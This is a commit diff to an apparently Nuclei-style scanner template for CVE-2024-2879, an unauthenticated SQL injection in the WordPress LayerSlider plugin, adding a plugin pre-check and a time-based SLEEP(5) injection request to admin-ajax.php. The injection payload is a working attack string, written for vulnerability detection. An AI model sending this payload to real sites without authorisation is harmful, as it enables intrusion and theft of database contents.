Update CVE-2024-2879.yaml
Re-wrote with flow and additional pre-check on http(1), unfortunately no simple README.txt, at least in my environment.patch-1
parent
f0a62df007
commit
013dfff19e
|
@ -2,7 +2,7 @@ id: CVE-2024-2879
|
|||
|
||||
info:
|
||||
name: WordPress Plugin LayerSlider 7.9.11-7.10.0 – Unauthenticated SQL Injection
|
||||
author: d4lyw
|
||||
author: d4ly
|
||||
severity: critical
|
||||
description: |
|
||||
The LayerSlider plugin for WordPress is vulnerable to SQL Injection via the ls_get_popup_markup action in versions 7.9.11 and 7.10.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
|
||||
|
@ -26,17 +26,24 @@ info:
|
|||
publicwww-query: "/wp-content/plugins/LayerSlider/"
|
||||
tags: cve,cve2024,wp-plugin,wp,wordpress,layerslider,sqli
|
||||
|
||||
http:
|
||||
- raw:
|
||||
- |
|
||||
@timeout: 10s
|
||||
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))x)--+x) HTTP/1.1'
|
||||
Host: {{Hostname}}
|
||||
flow: http(1) && http(2)
|
||||
|
||||
http:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/wp-content/plugins/LayerSlider/assets/static/public/front.css"
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- ".ls-clearfix:before"
|
||||
internal: true
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))x)--+x)"
|
||||
matchers:
|
||||
- type: dsl
|
||||
dsl:
|
||||
- duration>=5
|
||||
- status_code == 200
|
||||
- contains(body, "<script></script>")
|
||||
- contains(body, "<script>")
|
||||
condition: and
|
||||
|
|
Loading…
Reference in New Issue